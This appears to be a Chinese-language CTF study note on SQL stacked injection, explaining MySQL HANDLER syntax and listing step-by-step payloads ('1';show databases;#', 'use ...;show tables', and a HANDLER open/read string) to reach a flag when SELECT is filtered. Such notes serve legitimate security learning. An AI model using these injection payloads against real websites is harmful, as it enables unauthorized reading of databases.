SQL堆叠注入

标签(空格分隔): SQL


运用情况:当有过滤select/updata/delete/drop等等词的时候进行堆叠注入
所以只能使用hander来进行查询(hander不算正规的php,仅仅在MYsql中存在)
hander的

具体用法如下
– 创建索引
CREATE INDEX handler_index ON handler_table(id);

– 打开句柄
HANDLER handler_table OPEN AS p;

– 按索引读取第一行
HANDLER p READ handler_index FIRST;

– 按索引读取下一行
HANDLER p READ handler_index NEXT;

– 关闭句柄
HANDLER p CLOSE;

1.首先还是查询有几列
1'order by 1;#

2.由于无法使用select,所以只能直接查询所有的数据库
1'show databases;#

3.当查询到一个奇妙的数据库的时候使用
1';use (数据库名字);show tables;#

4.当找到了一个表有点奇怪(纯数字)的时候
1';use supersqli;show columns from 表的名字;#
//注意当纯数字串是表名的时候要加反引号

5.此时可能找到了flag的位置,但是无法使用select所以使用hander
-1';use supersqli;handler (填入,纯数字记得加``) open as p;handler p read first;#